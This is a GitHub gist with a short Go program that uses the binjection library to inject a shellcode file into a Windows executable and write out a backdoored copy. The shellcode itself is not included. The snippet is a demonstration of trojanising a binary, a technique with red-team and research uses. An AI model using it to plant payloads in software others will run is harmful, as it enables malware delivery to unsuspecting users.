Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created July 2, 2020 00:04
Show Gist options
  • Save ahhh/594f68885c82d27ad21b55a04a72d904 to your computer and use it in GitHub Desktop.
Save ahhh/594f68885c82d27ad21b55a04a72d904 to your computer and use it in GitHub Desktop.
Using the binject/binjection library programatically
package main
import(
"io/ioutil"
"fmt"
"github.com/Binject/binjection/bj"
)
var (
example_path = "example.exe"
example_shellcode = "loader.bin"
injected_out = "injected_out.exe"
)
func main() {
in_dat, err := ioutil.ReadFile(example_path)
if err != nil {
fmt.Println(err.Error())
}
payload, err := ioutil.ReadFile(example_shellcode)
if err != nil {
fmt.Println(err.Error())
}
injected_bytes, err := bj.PeBinject(in_dat, payload, &bj.BinjectConfig{
InjectionMethod: bj.PE,
})
if err != nil {
fmt.Println(err.Error())
}
err = ioutil.WriteFile(injected_out, injected_bytes, 0700)
if err != nil {
fmt.Println(err.Error())
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment